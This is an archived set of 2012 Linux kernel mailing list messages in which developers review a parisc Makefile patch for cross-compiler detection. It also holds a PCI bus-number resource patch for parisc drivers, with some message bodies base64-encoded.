IC0tZ2l0IGEvYXJjaC9wYXJpc2MvTWFrZWZpbGUgYi9hcmNoL3BhcmlzYy9NYWtlZmlsZQ0KPiBp
bmRleCA1NWNjYTFkLi4xOWFiN2IyIDEwMDY0NA0KPiAtLS0gYS9hcmNoL3BhcmlzYy9NYWtlZmls
ZQ0KPiArKysgYi9hcmNoL3BhcmlzYy9NYWtlZmlsZQ0KPiBAQCAtMzEsNyArMzEsMTEgQEAgaWZk
ZWYgQ09ORklHXzY0QklUDQo+ICBVVFNfTUFDSElORQk6PSBwYXJpc2M2NA0KPiAgQ0hFQ0tGTEFH
UwkrPSAtRF9fTFA2NF9fPTEgLW02NA0KPiAgV0lEVEgJCTo9IDY0DQo+ICsNCj4gKyMgRklYTUU6
IGlmIG5vIGRlZmF1bHQgc2V0LCBzaG91bGQgcmVhbGx5IHRyeSB0byBsb2NhdGUgZHluYW1pY2Fs
bHkNCj4gK2lmZXEgKCQoQ1JPU1NfQ09NUElMRSksKQ0KPiAgQ1JPU1NfQ09NUElMRQk6PSBocHBh
NjQtbGludXgtZ251LQ0KPiArZW5kaWYNCj4gIGVsc2UgIyAzMi1iaXQNCj4gIFdJRFRICQk6PQ0K
PiAgZW5kaWYNCg0KVGhlcmUncyBhbiBhd2Z1bCBsb3QgbW9yZSB0aGFuIGp1c3QgdGhpcyB3cm9u
ZyB3aXRoIHRoYXQgTWFrZWZpbGUuICBGb3INCmluc3RhbmNlLCBOQVRJVkUgY2FuIG5ldmVyIGJl
IHNldCBiZWNhdXNlIGlmZXEoKSBpc24ndCBnbG9iYmluZyBpbiBtYWtlDQpzY3JpcHRzIC4uLiAg
U28gSSB0aGluayBhIGZpbmFsIChhbmQgZHluYW1pY2FsbHkgY2hvb3NpbmcgaWYgdW5zZXQpDQpz
b2x1dGlvbiBpcyB0aGlzIG9uZS4NCg0KSSdsbCBzdG9wIG5vdyBiZWZvcmUgSSBmaW5kIHNvbWV0
aGluZyBlbHNlIHdyb25nIC4uLg0KDQpKYW1lcw0KDQotLS0NCg0KZGlmZiAtLWdpdCBhL2FyY2gv
cGFyaXNjL01ha2VmaWxlIGIvYXJjaC9wYXJpc2MvTWFrZWZpbGUNCmluZGV4IDU1Y2NhMWQuLmM4
MjNmNGEgMTAwNjQ0DQotLS0gYS9hcmNoL3BhcmlzYy9NYWtlZmlsZQ0KKysrIGIvYXJjaC9wYXJp
c2MvTWFrZWZpbGUNCkBAIC0yMywyNCArMjMsMjAgQEAgTk0JCT0gc2ggJChzcmN0cmVlKS9hcmNo
L3BhcmlzYy9ubQ0KIENIRUNLRkxBR1MJKz0gLURfX2hwcGFfXz0xDQogDQogTUFDSElORQkJOj0g
JChzaGVsbCB1bmFtZSAtbSkNCi1pZmVxICgkKE1BQ0hJTkUpLHBhcmlzYyopDQotTkFUSVZFCQk6
PSAxDQotZW5kaWYNCiANCiBpZmRlZiBDT05GSUdfNjRCSVQNCiBVVFNfTUFDSElORQk6PSBwYXJp
c2M2NA0KIENIRUNLRkxBR1MJKz0gLURfX0xQNjRfXz0xIC1tNjQNCiBXSURUSAkJOj0gNjQNCi1D
Uk9TU19DT01QSUxFCTo9IGhwcGE2NC1saW51eC1nbnUtDQorDQorIyBpZiBubyBkZWZhdWx0IHNl
dCwgdHJ5IHRvIGZpbmQgdGhlIGNvcnJlc3BvbmRpbmcgNjQgYml0IGNvbXBpbGVyDQoraWZlcSAo
JChDUk9TU19DT01QSUxFKSwpDQorQ1JPU1NfQ09NUElMRQk6PSAkKHNoZWxsICQoQ0MpIC1kdW1w
bWFjaGluZSB8IHNlZCBzL2hwcGEtXFxcKC4qXFxcKS9ocHBhNjQtXFwxLS8pDQorZW5kaWYNCiBl
bHNlICMgMzItYml0DQogV0lEVEgJCTo9DQogZW5kaWYNCiANCi0jIGF0dGVtcHQgdG8gaGVscCBv
dXQgZm9sa3Mgd2hvIGFyZSBjcm9zcy1jb21waWxpbmcNCi1pZmVxICgkKE5BVElWRSksMSkNCi1D
Uk9TU19DT01QSUxFCTo9IGhwcGEkKFdJRFRIKS1saW51eC0NCi1lbmRpZg0KLQ0KIE9CSkNPUFlf
RkxBR1MgPS1PIGJpbmFyeSAtUiAubm90ZSAtUiAuY29tbWVudCAtUw0KIA0KIGNmbGFncy15CTo9
IC1waXBlDQoNCg0KDQo=

From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.next
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE for 64 bit.
Date: Mon, 27 Feb 2012 20:04:52 -0500
Organization: wh0rd.org
Lines: 52
Approved: news@gmane.org
Message-ID: <201202272004.55187.vapier@gentoo.org>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com> <1330378864.2822.92.camel@dabdike.int.hansenpartnership.com> <1330380189.2822.95.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1709520.v6gKf0jSzM";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330391100 22002 80.91.229.3 (28 Feb 2012 01:05:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 01:05:00 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"dave.anglin@bell.net" <dave.anglin@bell.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: James Bottomley <jbottomley@parallels.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 28 02:04:58 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2BUu-0003fm-1i
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Feb 2012 02:04:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756327Ab2B1BEy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Feb 2012 20:04:54 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:48336 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755408Ab2B1BEx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Feb 2012 20:04:53 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id A54301B4001;
	Tue, 28 Feb 2012 01:04:52 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.2.0; KDE/4.6.5; x86_64; ; )
In-Reply-To: <1330380189.2822.95.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4201 gmane.linux.kernel:1258934 gmane.linux.kernel.next:20983
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4201>

--nextPart1709520.v6gKf0jSzM
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable

On Monday 27 February 2012 17:03:10 James Bottomley wrote:
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
>=20
> -CROSS_COMPILE	:=3D hppa64-linux-gnu-
> +
> +# if no default set, try to find the corresponding 64 bit compiler
> +ifeq ($(CROSS_COMPILE),)
> +CROSS_COMPILE	:=3D $(shell $(CC) -dumpmachine | sed s/hppa-\\\(.*\\\)/hp=
pa64-\\1-/)
> +endif

fails when using "hppa2.0-xxx".  perhaps:
CROSS_COMPILE ?=3D $(shell $(CC) -dumpmachine | sed 's/^hppa[^-]*-/hppa64-/=
')

don't even need the ifeq check then
=2Dmike

--nextPart1709520.v6gKf0jSzM
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJPTCg2AAoJEEFjO5/oN/WBrVgP/2rbzbuqJmMRAPm7iSzsN6aa
SMx2jFS44FSt0wq7oh++RwyBTsqxpIqJDvc4Ap9bWCTW5YLlWSXW+B6NkTkTSRiK
xfGnnP06qT+OlgmaOQbQg+Xunz0S3bY700Nlzm5mJpOxvklf4H+9iUWtGthwz35g
q10WmGEOKJNwYoVh1YWohj/8eCK9SUUokLlnTnselKdPcxVBY6zGXR/qwXpaIMnx
cfYbo81GBcq8yiAqZ5ZrjXxg/Nc/jnM/pibTSp9ZKLSHVEUqQlYLH9DPlC6Ko7XV
/PBrFIVslkW7xbpAuBZO0YJLbmniNYSkNtxlieHJX+PtevdsOx/PWOKfM67csOt4
Oahj9WT8JzWofcbUmbwYLvhtawXxm5th8fIMzlYR9HysGk5Q8EjqJVceLYmkRR/T
jzHXEFvkRcHfR9EdOxhajQeTVLNZv5yhfEpt9jDWCt+J0rdd8hNgLdX3kgFg+c71
CxQPWGMrmiJAsQ9c3kutl+o5rUyFUNeTDoN6iGWdkUofHKyz9SONh7wluMd1Gmk1
/xx5wH8rl3HBFTSo4fH/TC3sHhm8kFk3vQ+fauASJyFVkij3zHG+5oVT12FtSa2s
fEzf1e5ivnR2yrdbmMGbdmkSb+F+eDjcoI2vFCFSVNfTaTnBKVXJcGVUUnzJ0zT4
dIZLSc4mCJnVtFd33Ndy
=+Bpe
-----END PGP SIGNATURE-----

--nextPart1709520.v6gKf0jSzM--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH 09/18] PCI, parisc: Register busn_res for root buses
Date: Mon, 27 Feb 2012 18:10:00 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <1330395009-29260-10-git-send-email-yinghai@kernel.org>
References: <1330395009-29260-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330395102 16079 80.91.229.3 (28 Feb 2012 02:11:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 02:11:42 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 28 03:11:39 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2CXQ-0004Mk-Fc
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Feb 2012 03:11:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965528Ab2B1CLe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Feb 2012 21:11:34 -0500
Original-Received: from acsinet15.oracle.com ([141.146.126.227]:48955 "EHLO
	acsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965490Ab2B1CLb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Feb 2012 21:11:31 -0500
Original-Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238])
	by acsinet15.oracle.com (Sentrion-MTA-4.2.2/Sentrion-MTA-4.2.2) with ESMTP id q1S2BEMm006015
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 28 Feb 2012 02:11:15 GMT
Original-Received: from acsmt357.oracle.com (acsmt357.oracle.com [141.146.40.157])
	by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q1S2BD38005822
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 28 Feb 2012 02:11:13 GMT
Original-Received: from abhmt106.oracle.com (abhmt106.oracle.com [141.146.116.58])
	by acsmt357.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q1S2BCUG032081;
	Mon, 27 Feb 2012 20:11:12 -0600
Original-Received: from linux-siqj.site (/10.132.126.254)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Mon, 27 Feb 2012 18:11:12 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1330395009-29260-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet22.oracle.com [141.146.126.238]
X-Auth-Type: Internal IP
X-CT-RefId: str=0001.0A090201.4F4C37C3.009C,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4202 gmane.linux.kernel.pci:13805 gmane.linux.kernel:1259115 gmane.linux.kernel.cross-arch:12761
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4202>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    2 ++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 0610e91..ea3f483 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -999,7 +999,9 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(bus, dino_current_bus, 255);
 	bus->subordinate = pci_scan_child_bus(bus);
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index e885764..84fa239 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1512,6 +1512,9 @@ lba_driver_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(lba_bus, lba_dev->hba.bus_num.start,
+				lba_dev->hba.bus_num.end);
+
 	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
-- 
1.7.7

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <jbottomley@parallels.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.next
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
 for 64 bit.
Date: Tue, 28 Feb 2012 03:17:01 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <1330399020.2822.106.camel@dabdike.int.hansenpartnership.com>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
	 <1330378864.2822.92.camel@dabdike.int.hansenpartnership.com>
	 <1330380189.2822.95.camel@dabdike.int.hansenpartnership.com>
	 <201202272004.55187.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1330399033 5652 80.91.229.3 (28 Feb 2012 03:17:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 03:17:13 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"dave.anglin@bell.net" <dave.anglin@bell.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 28 04:17:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2DYs-0003ZK-SP
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Feb 2012 04:17:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755549Ab2B1DRJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Feb 2012 22:17:09 -0500
Original-Received: from mx2.parallels.com ([64.131.90.16]:53021 "EHLO mx2.parallels.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755398Ab2B1DRH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Feb 2012 22:17:07 -0500
Original-Received: from [96.31.168.206] (helo=mail.parallels.com)
	by mx2.parallels.com with esmtps (TLSv1:AES128-SHA:128)
	(Exim 4.74)
	(envelope-from <jbottomley@parallels.com>)
	id 1S2DYl-0000O8-8v; Mon, 27 Feb 2012 22:17:03 -0500
Original-Received: from US-EXCH1.sw.swsoft.com ([fe80::f4cb:ddbf:40fa:d379]) by
 US-EXCH1.sw.swsoft.com ([fe80::f4cb:ddbf:40fa:d379%10]) with mapi id
 14.02.0247.003; Mon, 27 Feb 2012 19:17:01 -0800
Thread-Topic: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
 for 64 bit.
Thread-Index: AQHM9ZLLA74ijEZElUmnORY0ttBzN5ZRy/kAgAAGK4CAADLGAIAAJOsA
In-Reply-To: <201202272004.55187.vapier@gentoo.org>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [76.243.235.53]
Content-ID: <407E606600900B499DDE6838030C21F5@sw.swsoft.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4203 gmane.linux.kernel:1259147 gmane.linux.kernel.next:20986
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4203>

T24gTW9uLCAyMDEyLTAyLTI3IGF0IDIwOjA0IC0wNTAwLCBNaWtlIEZyeXNpbmdlciB3cm90ZToN
Cj4gT24gTW9uZGF5IDI3IEZlYnJ1YXJ5IDIwMTIgMTc6MDM6MTAgSmFtZXMgQm90dG9tbGV5IHdy
b3RlOg0KPiA+IC0tLSBhL2FyY2gvcGFyaXNjL01ha2VmaWxlDQo+ID4gKysrIGIvYXJjaC9wYXJp
c2MvTWFrZWZpbGUNCj4gPiANCj4gPiAtQ1JPU1NfQ09NUElMRQk6PSBocHBhNjQtbGludXgtZ251
LQ0KPiA+ICsNCj4gPiArIyBpZiBubyBkZWZhdWx0IHNldCwgdHJ5IHRvIGZpbmQgdGhlIGNvcnJl
c3BvbmRpbmcgNjQgYml0IGNvbXBpbGVyDQo+ID4gK2lmZXEgKCQoQ1JPU1NfQ09NUElMRSksKQ0K
PiA+ICtDUk9TU19DT01QSUxFCTo9ICQoc2hlbGwgJChDQykgLWR1bXBtYWNoaW5lIHwgc2VkIHMv
aHBwYS1cXFwoLipcXFwpL2hwcGE2NC1cXDEtLykNCj4gPiArZW5kaWYNCj4gDQo+IGZhaWxzIHdo
ZW4gdXNpbmcgImhwcGEyLjAteHh4Ii4gIHBlcmhhcHM6DQo+IENST1NTX0NPTVBJTEUgPz0gJChz
aGVsbCAkKENDKSAtZHVtcG1hY2hpbmUgfCBzZWQgJ3MvXmhwcGFbXi1dKi0vaHBwYTY0LS8nKQ0K
PiANCj4gZG9uJ3QgZXZlbiBuZWVkIHRoZSBpZmVxIGNoZWNrIHRoZW4NCg0KSG93IGlzIHRoYXQg
ZGlmZmVyZW50IGZyb20gQ2FybG9zJyBzdWdnZXN0aW9uPyAgVGhlIHJlYXNvbiBpdCBkb2Vzbid0
DQp3b3JrIGlzIHRoZSBzYW1lIC4uLiBDUk9TU19DT01QSUxFIGlzIGRlZmluZWQgdG8gYmUgZW1w
dHkuDQoNCkphbWVzDQoNCg==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE for 64 bit.
Date: Tue, 28 Feb 2012 01:06:20 -0500
Organization: wh0rd.org
Lines: 63
Approved: news@gmane.org
Message-ID: <201202280106.23643.vapier@gentoo.org>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com> <201202272004.55187.vapier@gentoo.org> <1330399020.2822.106.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2671552.CgOXUbQQLd";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330409184 29274 80.91.229.3 (28 Feb 2012 06:06:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 06:06:24 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"dave.anglin@bell.net" <dave.anglin@bell.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: James Bottomley <jbottomley@parallels.com>
Original-X-From: linux-next-owner@vger.kernel.org Tue Feb 28 07:06:22 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S2GCc-0002WI-3L
	for glkn-linux-next@plane.gmane.org; Tue, 28 Feb 2012 07:06:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754530Ab2B1GGU (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Tue, 28 Feb 2012 01:06:20 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:38549 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752881Ab2B1GGU (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Tue, 28 Feb 2012 01:06:20 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id C201C1B4006;
	Tue, 28 Feb 2012 06:06:19 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.2.0; KDE/4.6.5; x86_64; ; )
In-Reply-To: <1330399020.2822.106.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20994 gmane.linux.ports.parisc:4204 gmane.linux.kernel:1259178
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20994>

--nextPart2671552.CgOXUbQQLd
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable

On Monday 27 February 2012 22:17:01 James Bottomley wrote:
> On Mon, 2012-02-27 at 20:04 -0500, Mike Frysinger wrote:
> > On Monday 27 February 2012 17:03:10 James Bottomley wrote:
> > > --- a/arch/parisc/Makefile
> > > +++ b/arch/parisc/Makefile
> > >=20
> > > -CROSS_COMPILE	:=3D hppa64-linux-gnu-
> > > +
> > > +# if no default set, try to find the corresponding 64 bit compiler
> > > +ifeq ($(CROSS_COMPILE),)
> > > +CROSS_COMPILE	:=3D $(shell $(CC) -dumpmachine | sed
> > > s/hppa-\\\(.*\\\)/hppa64-\\1-/) +endif
> >=20
> > fails when using "hppa2.0-xxx".  perhaps:
> > CROSS_COMPILE ?=3D $(shell $(CC) -dumpmachine | sed
> > 's/^hppa[^-]*-/hppa64-/')
> >=20
> > don't even need the ifeq check then
>=20
> How is that different from Carlos' suggestion?

sorry, but i'm not seeing any e-mails from Carlos in this thread.  what is =
his=20
suggestion ?

> The reason it doesn't work is the same ... CROSS_COMPILE is defined to be
> empty.

my suggestion was purely an incremental improvement on the patch you posted=
=2E =20
it improves two things:
	- detection when the default tuple is hppa2.0-xxx rather than hppa-xxx
	- one line for set-variable-only-when-its-unset rather than three lines
=2Dmike

--nextPart2671552.CgOXUbQQLd
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJPTG7fAAoJEEFjO5/oN/WB0yEP/jWUkZIrGVdlh9svcO3Bnd5w
g1uiq5f0ku6DVeAX/yF5zxUXFdvKUECvbVeOFOxxE8TDwJA/6d22vpDEhzA1FW53
8YiHbTUOwRQO999dzPThk6JxI+4tMkBEMHYQDAbUXNki4mY1S+vKtLWJBZ7t0VFB
Lc+oG9hf46maFZM1nPK8Pj2b5rOlx8KE0qJPNx+9xaUZuERfVy+wyCvdq2d3KnmO
83SmZGcr+GJL7iKJTlX+0t+JSJYA3Sbiap9/toQc5WDXYk7lyCy37aCQypzwEtKA
tD4KCRHAOGgW+xAvk+lrjSGc5T80BNvsv3t1IdjvP7Ak6iwyQ86RCUCb/q+QxZZQ
xjd2RshmoUiSj5xR4yH0yjugT32fO0zFjT414qcYJStFx8uphcBp5GpJyq7mj6FH
DIA3BuUotgHWJRKsh2BTkJHVC+DDnCtq6oudd2xXCn74S/dSd3DZo69MKOTUbyqh
1O+w+9UZXkeQWTn8I+Z1tWTioIR7MNfce+kwwwEf0HILVFBsFinQxi5Gy16h/A9J
VJvdi496Aat+26e2763+6UBFQewzTeFlaSoVx2Pyk38fkJcOL82HN/TCu+q3FDN6
Xz+oPQKE22ksVxFGyJLbr0kt14dr9m8pt/KB7tlEXVFD2cYx/oJ2MTRtOb5OISoq
zr+JZCrNOQ8VXc1+GTjV
=lvLb
-----END PGP SIGNATURE-----

--nextPart2671552.CgOXUbQQLd--

From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.next
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
 for 64 bit.
Date: Tue, 28 Feb 2012 08:10:45 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <1330438245.2822.114.camel@dabdike.int.hansenpartnership.com>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
	 <201202272004.55187.vapier@gentoo.org>
	 <1330399020.2822.106.camel@dabdike.int.hansenpartnership.com>
	 <201202280106.23643.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
